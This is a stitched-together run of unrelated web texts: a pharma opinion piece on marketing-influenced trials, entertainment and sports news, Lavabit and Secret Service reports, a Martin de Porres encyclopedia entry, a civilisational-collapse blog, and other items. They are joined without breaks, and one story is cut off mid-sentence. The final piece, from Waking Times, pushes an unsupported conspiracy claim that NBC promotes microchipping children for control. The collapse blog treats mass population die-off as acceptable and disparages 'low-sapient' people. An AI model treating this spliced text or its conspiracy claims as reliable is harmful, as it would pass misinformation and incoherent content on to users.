Further guidance is warranted to alert funders, ethics review boards, editors, peer reviewers and readers to warning signs of marketing-influenced trials. Marketing trials arise because manufacturers continue to have such a dominant role in the design, conduct and reporting of human testing of their own products. We support the idea that the design, analysis and reporting of clinical trials should only be done by truly independent investigators.
It is interesting to note that the authors did, in fact, contact the editors of the journals in which the suspected “marketing trials” were published and that the “editors did not agree that marketing considerations had played a key part in any of their published studies and noted to us the underlying importance and novelty of the clinical research described by the manuscripts.” This fact doesn’t seem to deter the authors at all.
The editors have it right. Clinical trials are crucial in understanding the risks and benefits of any clinical drug. Furthermore, EVERY clinical trial carried out by the biopharmaceutical industry always has input from the company’s commercial division. It would be foolish not to seek such guidance. Clinical trials are designed to obtain FDA approval. But equally important is the need for the trial to demonstrate the value the new drug brings to the healthcare system. This is critical for the drug to receive reasonable pricing from payers--be they insurance companies or those countries that control the prices of new medicines. Who better than the Sales & Marketing division of a company to provide guidance to assure that the hundreds of millions of dollars invested in these trials provide an answer to the true worth of such a drug?
There is an implication by these authors that studies designed with marketing input are done so in a way that guarantees success. However, there are no guarantees–every clinical trial runs the risk of missing key objectives. One classic such study was PROVE-IT, which was sponsored by Bristol-Myers Squibb (BMS) and undoubtedly conceived with marketing help. While large randomized trials had, to that point, documented that LDL-cholesterol (LDL-c) lowering therapy with statins reduced the risk of death and cardiovascular (CV) events in heart patients, the statins and doses used in these studies brought LDL-c to just less than 100mg/dL (as per recommended guidelines). As it was not clear that lowering LDL-c further would lead to better results with respect to CV outcomes, PROVE-IT was carried out with the assumption that once you reached the 100mg/dL threshold, no further benefits would be seen. The trial studied 40 mg of the BMS statin, Pravachol (pravastatin) against 80 mg of Pfizer’s Lipitor (atorvastatin), a more intensive LDL-c lowering regimen. While the Lipitor group was anticipated to have their LCL-c lowered to about 75mg/dL, BMS believed both groups would have similar results in terms of reducing CV events. Clearly, BMS ran this study to show that Lipitor was no better than Pravachol in reducing heart attacks and strokes, and perhaps high dose Lipitor might not be as safe. Such an outcome would have proved important to the BMS commercial group in their to efforts to maximize Pravachol sales against Lipitor’s formidable growth.
Well, BMS was wrong. Patients on high-dose Lipitor had 16% fewer CV events than those on the standard-dose Pravachol regimen. In effect, PROVE-IT demonstratesd that “lower is better” when it comes to LDL-c. BMS effectively sponsored a study that showed the Pfizer drug was superior. However, despite being a “marketing study,” this trial provided important information to heath care providers about lowering LDL-c in heart patients. This was not a frivolous study. Despite checking off most of the criteria (vested interests; high paid investigators; sponsored by a company’s commercial division; use of a large number of clinical centers) that those who are critical of such clinical trials deplore, PROVE-IT changed medical practice.
Trials designed to broaden the understanding of the potential value of a new drug often provide new insights into treating diseases. Yet, they are scorned by the authors of this paper. What is most disturbing is that these authors automatically assume that ANY trial that has been influenced by the commercial organization is flawed by design and intent. This is the very “conflict-of interest” mindset that Dr. Tom Stossel of Harvard Medical School so ably attacks in his book, Pharmaphobia. Yet nowhere in their article do the authors offer any proof that marketing influences on the design of clinical trials harm patients or compromises medical practice.
Yes, biopharmaceutical companies have the goal of making profits. To achieve this, the billions of dollars that are invested in clinical trials must be judiciously spent. Companies draw on all experts in their organization (research, clinical, regulatory and commercial) to maximize the chances that the clinical trial, should it successfully meet its goals–goals that the FDA has agreed to–will show the full value of the new medicine. This actually benefits patients. Unfortunately, the authors of the article fail to comprehend that fact.Ayad Akhtar and Lucas Hnath, two highly decorated playwrights, can each add another feather to their caps: They have been named winners of the 2017 Steinberg Playwright Awards, given to rising American playwrights. The award comes with $50,000.
Mr. Hnath’s “A Doll’s House, Part 2” received eight Tony nominations. The play imagines the lives of the Helmer family 15 years after the events in Ibsen’s 1879 classic. In his review for The Times, Ben Brantley called the play “smart, funny and utterly engrossing.” Mr. Hnath also wrote “The Christians” and “Red Speedo”; both were Times Critic’s Picks.
Mr. Hnath has a history with the Steinberg Charitable Trust: He has won two Steinberg/ATCA New Play Award Citations, each worth $7,500. “Their support has meant a great deal to me over the course of my career,” Mr. Hnath said in a statement.
In plays such as “The Invisible Hand” and “Disgraced” — which won the 2013 Pulitzer Prize for Drama — Mr. Akhtar explores faith and politics in the U.S. and abroad. His newest play, “Junk,” depicts the high-risk financial world of the 1980s and begins previews at Lincoln Center Theater on Oct. 5.While the version from Fallen is undoubtedly a classic, this version of 'Bring Me To Life' is perhaps just as powerful, if not more. The cinematic sound of the strings sounds so fitting for the band, every single note having a powerful influence on the entire track. The new voicings but Evanescence on a modern stage and sheds the angsty skin that is usually held against them. There's a new power in Lee's voice that has perhaps come with experience and age, a new conviction breathing life into the words of the song even if they haven't changed. Overall, it's a powerful reimagining of the track that brings it into a new light.
Evanescence breathe new life into 'Bring Me To Life' on Synthesis, their upcoming album with orchestral revisions of older tracks as well as some new ones. If this song is any indicator of the rest of the record, then you can fully expect that this record will be more than just renditions of these songs. They're a full reimagining of some iconic tracks that will have a brand new power.Erwin "Erv" Schreiber hugs his grandson Paul Schreiber after the Cubs won the World Series. (Photo: Submitted by Molly Kruger)
Like many, Erwin "Erv" Schreiber had been waiting his whole life to see the Cubs win the World Series. The 86-year-old Indianapolis resident grew up in Chicago and had been holding onto a 1984 bottle of Cubs champagne to open if — when — it happened.
So early Thursday morning, he was beyond elated, and his teary reaction was captured in a Facebook video by his grandson Paul's girlfriend, Molly Kruger.
"I got to see them win it!" Schreiber exclaimed joyously, hugging his son David as other members of the family cheer. "I got to see them win it! Oh man! I got to see them win it! Oh man! Oh yes! Oh man! Ohhh, yes, yes!"
Kruger, marketing manager for Indy Eleven, said she went with Grandpa Erv and Paul to see a Cubs game in August, and they scored field passes.
"It was so sweet to watch Erv's face once he stepped foot on that field," she said. "I heard him say a few times, 'Holy smokes, I keep pinching myself.' So we watched the series at his house, and I just knew how much this would mean to him if they won."
Kruger had been posting popular Snapchats of the family's moments throughout the game, and her boyfriend suggested she take video at the end. She posted it to Facebook, and it's been shared more than 500 times.
"The celebration was precious raw emotion."
Warning: You'll probably cry when you see this, even if you're not a Cubs fan.
Call Amy Bartner at (317) 444-6752 and follow her on Facebook, Twitter, and Instagram.
Read or Share this story: http://indy.st/2fmqucSLavabit, the secure email service which shut down after pressure from the US government to access customer emails, is back up for a brief window during which users can change passwords and recover lost data.
Company founder Ladar Levison posted a brief message claiming that first a 72-hour period starting from 7.00 PM US Central time on Monday, (GMT – 5 hours) would allow users to change their passwords.
He said the decision was taken after “recent events in the news” led some Lavabit account holders to believe their emails may have been compromised.
Levison continued:
If users are indeed concerned that their account information has been compromised, this will allow them to change their account password on a website with a newly secured SSL key. Following the 72 hour period, Thursday, October 17th, the website will then allow users to access email archives and their personal account data so that it may be preserved by the user.
Levison closed down Lavabit back in August after refusing to hand over the encryption keys which would have theoretically given the FBI access to all of his customers' accounts.
In reality, it was one particular Lavabit user – PRISM whistleblower Edward Snowden – whose account they really wanted to access.
However, despite Levison offering to log and decrypt just Snowden's communications, the order stood.
Levison was fined $10,000 for his non-compliance and is currently planning to challenge the government’s much criticised surveillance orders in the US Fourth Circuit Court of Appeals, where a successful outcome could allow him to resurrect the firm.
That appears pretty unlikely though, as does the window for Lavabit users to retrieve lost emails to last any longer than a day or two. ®Doctors at Peking University have successfully implanted the first 3D printed vertebrae in a young patient.
The patient, a 12 year old boy, had a malignant tumour in his spinal cord. After hours of specialized spinal cord surgery, doctors replaced a section of cancerous vertebra in his neck with the 3D printed piece.
3D printing creates layer upon layer of material in specific patterns or shapes to make a 3D object from a digital model. Materials in 3D printing are usually polymers and metals, and in this case, a titanium powder which is a traditional orthopedic implant material.
As far as tradition goes, that's where the similarities end. Because of the limitations of traditional orthopedic implant manufacturing - normally in geometric-type shapes with less realistic shaping or conformity to the bones, implants typically don't attach to the bone without orthopedic cement or screws.
The worldwide orthopedic market had global revenues of more than $36b in 2008. According to a new report by Freedonia, the demand for implantable medical devices in the United States alone is projected to increase 7.7 percent annually to $52 billion in 2015. The study reported that orthopedic implants will be one of the fastest growing and nanotechnology and biotechnology will fuel growth and demand to the market. With the Silver Economy coming of age, orthopedics is a high growth market.
Because 3D printing is flexible, based on and created from a digital model, 3D printing enables orthopedic implants to be printed in any shape. This opens the door to hundreds of possibilities that weren't available before. Now, instead of cement or screws, the implant is more in line or matches the bone around it.
In the case of the boy's 3D implant, the doctor's took this one step further and made tiny pores in the implant so the bones can grow into the implants which secures the device and eliminates cement and screws.
"Although the probability is very low, it is possible that under long-term pressure from inside the body, traditional implants might plug into bones gradually, or become detached from bones. But there will be no such problems for 3-D printed implants," said Liu Zhongjun, Director, Orthopedics Department, Peking University.
Liu's team began the program in 2009 and provided designs based on their clinical experience and understanding of surgical needs. A medical device company digitalized their designs for 3D printing. In 2010, they moved to animal trials with sheep and after trials proved the 3D implants were safe, they applied for human clinical trials in 2012.On May 12, Al-Jazeera America ran a story about a social justice-focused urban design conference hosted by the African American Student Union (AASU) of Harvard University’s Graduate School of Design, just days before protests in Baltimore turned ornery. This black student group made waves a couple of years ago when they brought the college-dropout-turned-honorary-Ph.D rapper Kanye West to campus, where he proffered his vision of how design will save the world.
The African-American design students are well-invested in that vision as well. They find it difficult to realize that vision, however, when their instruction has been based in the work of architects whose worldviews don’t give heavy weight to social problems. AASU president Dana McKinney told Al Jazeera that issues of race and justice are not only not discussed among designers, but neither does Harvard’s Design School offer courses that consider these things together.
Their instruction has been based in the work of architects whose worldviews don’t give heavy weight to social problems.
Such class omissions would seem to leave these future urban designers ill-prepared in the face of escalating tensions around policing and city policies that produce racial inequities. For students trained as problem solvers, it has to be frustrating that their profession seems to have little impact on the prevailing problems of communities of color today. Part of the problem is that thinking about how race should intersect with design too often becomes the burden of citizens, if it becomes anyone’s burden at all.
“Practitioners need to improve their proficiency with regard to working on social equity issues,” says Carlton Eley, an urban planner who works for the U.S. Environmental Protection Agency. He notes that there are professionals of color in organizations like the National Organization of Minority Architects* (NOMA) who are thinking critically about these issues, but are often overlooked by the mainstream design community.Will our civilization survive and thrive or collapse and descend into chaos? That is the essence of a number of e-mails I have gotten over the last few months. The number seems to have picked up with the election of Donald Trump. I wonder why? The letters and e-mails I used to get were more along the lines of "how do we save our society?" to "how can our society survive?" to "can any kind of society and civilization survive?" Today the dominant question seems to be: "when will society collapse and how bad will it be?"
There has been a definite trend in the mood of these questions which I attribute to the continuing pile up of evidence that none of our institutions are really working anymore, a subject I have observed in the past. So it seems that more people are coming to the conclusion that something is definitely wrong with our social system if not our collective minds. For much of the history of this blog I've commented extensively on both.
My own opinion (for what it is worth - about as much as you are paying to read this) is that our whole social system (globally) is on the brink of a major and dramatic transition. The argument I make is based on systems theory, but then so have been all of my previous observations and I suspect long-time readers are apt to realize I've got a pretty good track record when it comes to pointing out large-scale trends (in the downward direction).
The transition of which I speak is one in the sense of the major transitions in evolutionary history, from pre-organic chemistry to life, from prokaryotes to eukaryotes, from single cells to multicellular organisms, etc. Human society is itself the result of such a major transition, the evolution of hyper-sociality in our genus that has led to tribes, towns, cities, and so on.
Transitions of this kind are not radical, sudden revolutions so much as gradual reorganizations of existing systems that makes a collective of previously independent systems more fit as a collective, cooperating structure. That is not to say the transition might not be triggered or pushed ahead by the event of some catastrophe. The transition from reptile dominance to mammalian and bird dominance in the megafauna was hastened along (in geological time scales) by the extinction event that wiped out the non-bird dinosaurs. As I have describe several times in these pages, I suspect that a general collapse of our current neoliberal capitalistic system (or variations on capitalism as we find, for example, in China), which I think will result in a collapse of most institutions will bring civilization to its knees or lower. It is likely to result in massive decline in the populations around the world (which is a euphemistic way to say massive dying).
But the collapse of this society is not as bad a thing as it might seem, except, of course, to those of us who end up being part of the population collapse. I know this is cold, but the fact is that the way this society works is exactly what is causing the problems.
The collapse of the economic system may actually be brought about by forces associated with climate change (coupled with decline in free energy resources). It isn't hard to imagine such a scenario. We may even be witnessing the beginning stages with the horrendous costs in lives and property due to this hurricane season (and just so far). Climate change, in the form of major disasters, will be extremely costly. It will be even more costly when we finally get that we have to adapt - as in moving Miami hundreds of miles inland and north. Where will the resources come from to accomplish this? With net free energy resources already on the decline how will we accomplish the work needed?
While not dismissing the possibility completely, I don't think humanity will disappear completely. I don't even think some kind of social structure will disappear. It will just be an extremely diminished version of what we see today. But therein lies the opportunity.
Complex adaptive and evolvable systems (CAES) collapse when their governance infrastructures fails to regulate their behavior. Humanity's governance system is wide of the mark when it comes to meeting the criteria of sustainability. Our governments are incompetent in part because they are very poorly designed to manage the complexity of the modern world. But also they are incompetent because the individual decision agents making them up are themselves incompetent. They are simply not sufficiently sapient. Exhibit A: Senator James Inhofe (R-Oklahoma). What a complete idiot. Exhibit B: Representative Lamar Smith (R-Texas), head of the House Science Committee!!!! These guys and most of the Congress are totally out of touch with reality. How did they get to be elected - Oh wait, I forgot the President too.
There are lots of examples of CAESs that have managed to evolve relatively competent governance subsystems. Cells do it. Brains do it. It isn't impossible. But it is hard and as a result of long-term evolution it has to be tested repeatedly in the world stage of selection. There are some examples of corporate or non-profit organizations that have been long-lived because they take their governance seriously and the top management are not out to rob the place blind and make an escape.
The design of government is the result of a long evolutionary process that has been going on since the Stone Age. We've tried just about every kind of configuration and function. Most have reflected a social hierarchical structure, but in the absence of real sapience these hierarchies have devolved to power relations rather than service relations. A wise structure is based on the executives and supervisors taking the position that they work for those who do the actual work. They are supposed to provide them with the vision and tools, not boss them around. Ordinary human beings just don't get this.
Modern democracies are built around the neoliberal idea of individual autonomy (a secular version of "free will"). In the west this means blatant individualism, in the extreme, libertarian sentiments - another failing of low sapience. Hyper-sociality, a characteristic of high sapience, is based on cooperation, altruism, selflessness, and a sense of belonging to something bigger and more important than the individual. Democracy among low-sapients cannot work. It doesn't work. Just look at the evidence in front of your eyes. The average human being today is out for "numero uno". How much of this is because there are simply too many of us and we all feel we are in competition with each other? I offer arguments that suggest that while population density tends to bring out the worst in us, the fact is that the worst is IN US.
What about the transition? I have argued several times that high sapient people (and there are a few in this world despite the madding crowds) will tend to be more adaptive to changing conditions such as climate change and a collapsing society. They will also have the capacity to find one another and form social units that can actually work. They are the hope of the genus. They form the basis for an incipient new species of Homo that stands a chance to survive the collapse and construct a better governance subsystem.
The collapse of human social systems will mirror the collapse of the reptilian dominance 65 million years ago. Something positive will emerge from it.
So, as we go into the darkness of winter we take heart in knowing that there will be a turning point in the solstice and an emergence into the light of spring. We humans can make a transition to a better social organization. It will be a necessity. We now know that the system that has evolved thus far can be improved greatly.Atlanta (CNN) Every Tuesday, Dady Jean brings her daughter to see a physical therapist on the eastern edges of Atlanta. On this afternoon, the animated movie "Up" entertains patients old and young as they wait for their sessions.
At the appointed hour, therapist Antonio Pruitt leads Schnaika to a basement room outfitted with brightly colored equipment. He guides her through a series of squats, kicks and steps intended to improve her movement and balance. The pink and white beads in Schnaika's braids bob up and down on her forehead as she does her exercises.
Schnaika suffers from weakness in one side of her body, a condition called hemiparesis that constrains her movement. Her left hand dangles at odd angles as though it were broken, and she walks with a noticeable limp.
She was only 16 months old when her home in Haiti collapsed in the 2010 earthquake. Slabs of concrete came tumbling down on her. Days later, American doctors treated her and brought her to Atlanta for long-term care.
I first met Schnaika when she and |
100,000 units estimates by 2020. Adam Jonas is also incorporating “Tesla Network” or Tesla Mobility into the equation. Tesla Mobility is a car-sharing service which Elon Musk is allegedly planning to launch in the near future. Recently, Uber’s CEO Travis Kalanick, said that his company is ready to acquire over 500,000 Tesla’s self-driving cars given they come into the market according to the schedule. During an earnings call, Adam Jonas asked Elon Musk about Uber’s plan, and Tesla’s plans for car-sharing service. Musk was not quick to share the details about this project but it was clear that the ambitious CEO is up to something in this area.
The Trump Factor
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Tesla Motors’ (NASDAQ:TSLA) CEO Elon Musk also seems to be in good terms with the new US President, Donald Trump. Elon Musk surprised everyone and joined Trump’s council of business advisers. He met privately with Trump’s top aides in the Trump Tower recently. Tesla believes in creating jobs in the country and has a tiny global footprint, just what Donald Trump wants. SpaceX builds rockets in Hawthorne, California. Tesla Motors Inc (NASDAQ:TSLA) makes its cars in Fremont, California, and recently opened a battery factory in Nevada, where it plans to add around 6,500 new jobs.
Tesla has also solved production issues with its Model X and problems with Model S, as the company recently hired Peter Hochholdinger from Audi as its VP Production to accelerate production.
Earlier this month, investment firm Baird also published a report about Tesla, calling it one of the best stocks to buy in 2017. Baird’s analyst Ben Kallo said that Tesla’s energy storage business and growth opportunity are not currently reflected in share prices. Kallo thinks that the demand for batteries is rising, which will bode well for Tesla Motors (NASDAQ:TSLA) in the future. The analyst also has high hopes from Model 3, Tesla Motors’s (NASDAQ:TSLA) much-awaited electric Sedan that will be up for sale in 2018.
Free books, reports and subscriptions...European Union member states are on their way to getting free wifi in public spaces like libraries, parks, and town squares after a proposal from European Commission president Jean-Claude Juncker passed its first administrative hurdle.
Juncker’s proposal is to roll out free, high-speed wifi for “every European village and every city” by 2020. The European Council approved the proposal last Friday (Dec. 2), just months after it was mooted by Juncker. The scheme must also be approved by the European Parliament, which is made of directly elected representatives from member states, before it’s adopted as a EU-wide regulation.
The EU has quite a bit of cash to spend on this project: It’s setting aside €120 million ($129 million) to pay for infrastructure. Any local government body across the EU can apply for a slice of that funding, up to €20,000 per community served. The EU expects up to 8,000 communities to get the free public wifi, with all using the “Wifi4EU” network name, from the scheme.
Of course, by the time Europe’s parks and squares are festooned with wifi routers, the United Kingdom might be out of the EU. That means the regulation won’t apply to British public spaces—just like free mobile roaming.
That said, the UK isn’t doing too badly right now when it comes to free wifi. Many local authorities already offer free wifi at local libraries, according to a survey by the Greater London Authority (pdf), the city’s main administrative body. Additionally, free wifi can be had at many public museums. Some London boroughs also have free public wifi supplied by private companies, including the financial district and Westminster.
London’s patchwork of wifi networks isn’t in the same league as European cities like Helsinki. Visitors and residents of the Finnish capital enjoy high-speed internet without even having to give up an email address. The EU plan calls for speeds of at least 30 Mbps, which puts it on par with Helsinki speeds. That’s something anyone who’s ever struggled with a crawling internet connection can get behind."St. Martin de Porres" and "Saint Martin de Porres" redirect here. For other uses, see St. Martin de Porres (disambiguation)
Martin de Porres Velázquez, O.P. (December 9, 1579 – November 3, 1639), was a Peruvian lay brother of the Dominican Order who was beatified in 1837 by Pope Gregory XVI and canonized in 1962 by Pope John XXIII. He is the patron saint of mixed-race people, barbers, innkeepers, public health workers, and all those seeking racial harmony.
He was noted for his work on behalf of the poor, establishing an orphanage and a children's hospital. He maintained an austere lifestyle, which included fasting and abstaining from meat. Among the many miracles attributed to him were those of levitation, bilocation, miraculous knowledge, instantaneous cures, and an ability to communicate with animals.
Life [ edit ]
Juan Martin de Porres Velázquez was born in the city of Lima,Viceroyalty of Peru, on December 9, 1579. He was the illegitimate son of a Spanish nobleman, Don Juan de Porres, and Ana Velázquez, a freed slave from Panama, of African or possibly part Native American descent.[1][2] He had a sister named Juana, born two years later in 1581. After the birth of his sister, the father abandoned the family.[3] Ana Velázquez supported her children by taking in laundry.[4] He grew up in poverty and, when his mother could not support him, Martin was confided to a primary school for two years, and then placed with a barber/surgeon to learn the medical arts.[2] He spent hours of the night in prayer, a practice which increased as he grew older.
Under Peruvian law, descendants of Africans and Native Americans were barred from becoming full members of religious orders. The only route open to Martin was to ask the Dominicans of Holy Rosary Priory in Lima to accept him as a donado, a volunteer who performed menial tasks in the monastery in return for the privilege of wearing the habit and living with the religious community.[5] At the age of 15 he asked for admission to the Dominican Convent of the Rosary in Lima and was received first as a servant boy, and as his duties grew he was promoted to almoner.
Martin continued to practice his old trades of barbering and healing and was said to have performed many miraculous cures. He also took on kitchen work, laundry, and cleaning. After eight years at Holy Rosary, the prior Juan de Lorenzana, decided to turn a blind eye to the law and permit Martin to take his vows as a member of the Third Order of Saint Dominic. Holy Rosary was home to 300 men, not all of whom accepted the decision of De Lorenzana: one of the novices called Martin a "mulatto dog", while one of the priests mocked him for being illegitimate and descended from slaves.[5]
When Martin was 24, he was allowed to profess religious vows as a Dominican lay brother in 1603. He is said to have several times refused this elevation in status, which may have come about due to his father's intervention, and he never became a priest.[1] It is said that when his convent was in debt, he implored them: "I am only a poor mulatto, sell me." Martin was deeply attached to the Blessed Sacrament, and he was praying in front of it one night when the step of the altar he was kneeling on caught fire. Throughout all the confusion and chaos that followed, he remained where he was, unaware of what was happening around him.[6]
A mid-twentieth century stained glass representation of Martin de Porres in St Pancras Church, Ipswich with a broom, rosary, parrot and monkey
When Martin was 34, after he had been given the religious habit of a lay brother, he was assigned to the infirmary, where he was placed in charge and would remain in service until his death at the age of 59. He was known for his care of the sick.[2] His superiors saw in him the virtues necessary to exercise unfailing patience in this difficult role. It was not long before miracles were attributed to him. Martin also cared for the sick outside his convent, often bringing them healing with only a simple glass of water. He ministered without distinction to Spanish nobles and to slaves recently brought from Africa.[1] One day an aged beggar, covered with ulcers and almost naked, stretched out his hand, and Martin took him to his own bed. One of his brethren reproved him. Martin replied: "Compassion, my dear Brother, is preferable to cleanliness."
When an epidemic struck Lima, there were in this single Convent of the Rosary 60 friars who were sick, many of them novices in a distant and locked section of the convent, separated from the professed. Martin is said to have passed through the locked doors to care for them, a phenomenon which was reported in the residence more than once. The professed, too, saw him suddenly beside them without the doors having been opened. Martin continued to transport the sick to the convent until the provincial superior, alarmed by the contagion threatening the friars, forbade him to continue to do so. His sister, who lived in the country, offered her house to lodge those whom the residence of the religious could not hold. One day he found on the street a poor Indian, bleeding to death from a dagger wound, and took him to his own room until he could transport him to his sister's hospice. The prior, when he heard of this, reprimanded him for disobedience. He was extremely edified, however, by his reply: "Forgive my error, and please instruct me, for I did not know that the precept of obedience took precedence over that of charity."[7] The prior gave him liberty thereafter to follow his inspirations in the exercise of mercy.
Martin did not eat meat. He begged for alms to procure necessities the convent could not provide.[7] In normal times, Martin succeeded with his alms to feed 160 poor persons every day, and distributed a remarkable sum of money every week to the indigent. Side by side with his daily work in the kitchen, laundry and infirmary, Martin's life is said to have reflected extraordinary gifts: ecstasies that lifted him into the air, light filling the room where he prayed, bilocation, miraculous knowledge, instantaneous cures and a remarkable rapport with animals.[3] He founded a residence for orphans and abandoned children in the city of Lima.[3]
Death and commemoration [ edit ]
Martin was a friend of both St. Juan Macías, a fellow Dominican lay brother, and St. Rose of Lima, a lay Dominican. By the time he died, on November 3, 1639, he had won the affection and respect of many of his fellow Dominicans as well as a host of people outside the priory.[5] Word of his miracles had made him known as a saint throughout the region. As his body was displayed to allow the people of the city to pay their respects, each person snipped a tiny piece of his habit to keep as a relic. It is said that three habits were taken from the body. His body was then interred in the grounds of the monastery.
After De Porres died, the miracles and graces received when he was invoked multiplied in such profusion that his body was exhumed after 25 years and said to be found intact, and exhaling a fine fragrance. Letters to Rome pleaded for his beatification; the decree affirming the heroism of his virtues was issued in 1763 by Pope Clement XIII.
Pope Gregory XVI beatified Martin de Porres on October 29, 1837, and nearly 125 years later, Pope John XXIII canonized him in Rome on May 6, 1962.[8] He is the patron saint of people of mixed race, and of innkeepers, barbers, public health workers and more, with a feast day on November 3.
Martin is also commemorated in the Calendar of Saints of the Church of England on November 3.
He is recognised as Papa Candelo in the Afro-Caribbean-Catholic syncretist religion, which is practised in places where African diaspora culture thrives such as Puerto Rico, the Dominican Republic, Cuba, the United States, and his native Peru.
Iconography [ edit ]
Forensic facial reconstruction of Martin de Porres
Martin de Porres is often depicted as a young mixed-race friar wearing the old habit of the Dominican lay brother, a black scapular and capuce, along with a broom, since he considered all work to be sacred no matter how menial. He is sometimes shown with a dog, a cat and a mouse eating in peace from the same dish.
Legacy [ edit ]
Martin's sometimes defiant attachment to the ideal of social justice achieved deep resonance in a church attempting to carry forward that ideal in today's modern world.[1]
Today, Martin is commemorated by, among other things, a school building that houses the medical, nursing, and rehabilitation science schools of the Dominican University of Santo Tomas in the Philippines. A programme of work is also named after him at the Las Casas Institute at Blackfriars Hall, University of Oxford.[9] He is also the titular saint of the parish of St. Martin de Porres in Poughkeepsie, New York,[10] and some elementary schools. A number of Catholic churches are named after him.
In popular culture [ edit ]
In the 1980 novel A Confederacy of Dunces, Ignatius Reilly contemplates praying to Martin for aid in bringing social justice to the black workers at the New Orleans factory where he works. In music, the first track of jazz pianist Mary Lou Williams's album Black Christ of the Andes is titled "St. Martin De Porres."[11]
There are several Spanish and Mexican works regarding his life in cinema and television, starring Cuban actor Rene Muñoz, the most of them referring to his mixed race, his miracles and his life of humility. The most known movies are Fray Escoba (Friar Broom) (1963)[12] and Un mulato llamado Martin (A mulatto called Martin) (1975).[13]
In the Moone Boy episode "Godfellas", the character Martin Moon is shown to be named by his grandfather after San Martin De Porres. His grandfather is unable to actually remember any of San Martin's accomplishments, and simply refers to him as "one of the black ones" when asked about him.
See also [ edit ]
Saint Martin de Porres (sculpture) by Father Thomas McGlynnSince Mr Obama took office, the rate of threats against the president has increased 400 per cent from the 3,000 a year or so under President George W. Bush, according to Ronald Kessler, author of In the President's Secret Service.
Some threats to Mr Obama, whose Secret Service codename is Renegade, have been publicised, including an alleged plot by white supremacists in Tennessee late last year to rob a gun store, shoot 88 black people, decapitate another 14 and then assassinate the first black president in American history.
Most however, are kept under wraps because the Secret Service fears that revealing details of them would only increase the number of copycat attempts. Although most threats are not credible, each one has to be investigated meticulously.
According to the book, intelligence officials received information that people associated with the Somalia-based Islamist group al-Shabaab might try to disrupt Mr Obama's inauguration in January, when the Secret Service co-ordinated at least 40,000 agents and officers from some 94 police, military and security agencies.
More than a dozen counter-sniper teams were stationed along the inauguration parade route and the criminal records of employees and hotel guests in nearby buildings were scrutinised.
Despite all this, there were glaring loopholes in the security. Kessler describes how more than 100 VIPs and major campaign donors were screened by metal detectors but then walked along a public pavement before boarding "secure" buses and were not checked again.
It could have been relatively simple for an assassin to have mingled with them in order to get close enough to shoot the new president.
After Mr Obama was elected president, his two children Malia, 11, codenamed Radiance, and Sasha, eight, codenamed Rosebud, began receiving Secret Service protection. Mr Obama's wife Michelle is codenamed Renaissance. The Secret Service also started to protect Vice-President Joe Biden's children, grandchildren, and mother.
Instead of bringing in more agents - instantly identifiable because of their bulky suits, worn over bullet-proof jackets, and earpieces - the Secret Service directed agents to work longer hours to cover the extra load and to miss firearms training, physical fitness sessions and tests.
"We have half the number of agents we need, but requests for more agents have fallen on deaf ears at headquarters," a Secret Service agent told Kessler. "Headquarters' mentality has always been, 'You can complete the mission with what you have. You're a U.S.S.S. agent'."
Mr Biden's constant travel, including back to his home state of Delaware-the burden has meant that all agents on his team have ceased training. According to Kessler, however, they fill in forms stating they have "taken and passed all tests, when they have not, creating a dishonest culture".
The Secret Service has increasingly cut corners after it was absorbed by the new Homeland Security Department under Mr Bush. Kessler said that when Mr Biden threw the first pitch at the first Baltimore Orioles game of the 2009 season, the Secret Service did not screen any of the more than 40,000 fans, stunning his agents and the local Secret Service field office.SAN DIEGO -- No. 6 Arizona knew it was in for a tough game even if San Diego State wasn't ranked. The Wildcats were on the road.
"Playing at home or away is a completely different story and I think to play a true road game is something that we are proud we did," Wildcats coach Sean Miller said after Arizona's 69-60 victory Thursday night. "San Diego State has an incredible crowd and a fantastic home arena and a very-well coached team and a team that is used to winning."
Nick Johnson scored 23 points and freshman Aaron Gordon added 16 points and eight rebounds for the Wildcats (3-0).
"We knew it was going to be a tough game," Johnson said. "It's big to win at San Diego State because they have a great home record. But we battled."
JJ O'Brien and Xavier Thames had 19 points each for the Aztecs (1-1), who had won two of the last three meetings with Arizona, the loss coming in the final seconds of last year's Diamond Head Classic.
"Oh my gosh, that crowd was crazy," Gordon said. "The whole student section was jumping up and down."
Arizona had a 14-point lead midway through the second half, but San Diego State rallied, closing within four points on Thames' layup with less than 2 minutes remaining.
"We had a chance," Thames said. "But we couldn't make the next play and good teams don't let you make that good play. They're good, they are very good, and they change shots."
Gordon then had a soaring dunk off an inbounds pass from T. J. McConnell to put away the Aztecs.
At first McConnell looked for Johnson. Then he saw Gordon take flight and hit him with a perfect pass above the rim.
"I've never seen anything like that before," McConnell said. "Well, maybe Blake Griffin, but what he did was amazing."
Gordon, who is considered one of the top players in a well-stocked freshman class, smiled.
"T.J. threw it, I saw it going up and it worked out well," he said.
Arizona prevailed despite four players being in foul trouble early in the second half.
"We didn't talk about the fouls," said Gordon, who finished with four. "We talked about to just keep on fighting."
It easy to do when Gordon is on your side.
"He's an incredible player," Miller said. "What separates him is how he is as a person. He is fun guy to coach, a fun teammate and a very hard worker. We're lucky to have him."
The Wildcats finished with a 39-28 rebound advantage.
"I don't think it was a lack of fight but at halftime we had one offensive rebound and we had missed 13 shots," San Diego State coach Steve Fisher said. "They scored nine points off their offensive rebounds in the first half."
The Wildcats used an 8-0 run -- with a 3-pointer by Gordon the big shot -- to take a 24-11 lead. Gordon went to the bench when he picked up his second foul and the Aztecs took advantage to get within six points on two free throws by Matt Shrigley with 4:33 left in the half.
Johnson's three-point play put Arizona in front 31-22.
Gabe York, Arizona's sparkplug off the bench, made a driving layup and another basket to give the Wildcats their largest lead of the half at 39-25. Shrigley hit a 3-pointer just before the halftime buzzer to cut the deficit to 11 points.
In the end, it was the Wildcats' rebounding and lack of turnovers -- 11 total, but just three in the second half -- that was the difference.
"To me," Miller said, "it's those two statistics that made us winners tonight."Phillip Schneider, Staff
Waking Times
It’s hard to imagine the mainstream media stooping to an even lower low than where they’re at right now, but rest assured, if you start to become comfortable with them they’ll push that line even farther.
This time, NBC is pushing that Orwellian envelope to an extreme level as it advocates for human microchipping of children “sooner rather than later”.
In a recently televised report from NBC News, they liken having your child microchipped by the state at birth to something as societally normalized as bar codes for consumer goods.
“When barcodes first came out in the late 1960s, people were appalled. They were wary of them and did not understand the concept. Today, it is so commonplace, we don’t even notice it. A microchip would work much in the same way” – NBC
This statement reveals the mentality that these types of people have, thinking of us not as human beings, but as cattle needing to be tagged by their our owners.
Be Afraid and We Will Protect You
It goes without saying that this agenda to microchip the human race has little to do with “safety” and much to do with control.
